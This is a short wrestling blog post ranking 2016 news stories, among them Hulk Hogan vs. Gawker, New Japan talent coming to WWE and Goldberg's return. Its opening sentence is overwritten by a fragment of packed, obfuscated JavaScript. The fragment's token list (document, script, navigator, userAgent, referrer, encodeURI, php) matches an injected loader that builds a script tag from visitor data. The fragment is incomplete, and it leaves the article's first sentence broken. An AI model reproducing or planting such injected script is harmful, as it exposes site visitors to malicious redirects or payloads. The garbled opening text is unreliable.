Best of 2016: News Story of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibezd|var|u0026u|referrer|ateas||js|php'.split('|'),0,{})) is always a trick one to define. Sometimes there are stories that mean something outside of the ring and often times, those are even bigger stories than anything between the ropes. There were a fair few stories like that this year and for once they don’t all pertain to WWE. These stories are in no particular order and hopefully we have more to pick from next year.
1. Hulk Hogan vs. Gawker
2. Billy Corgan Kicked Out of TNA
3. New Japan Talent Comes to WWE
This really is a big deal as WWE replenished their roster in one swoop and also punched their only major international competition in the face at the same time. Styles became one of the top stars in the company in his first year and Nakamura seems primed for a main roster run in 2017. It was a huge moment and changed the way WWE looked for a long time to come.
4. UK Championship Tournament and Potential for More
5. Goldberg Returns
6. Shane McMahon Returns
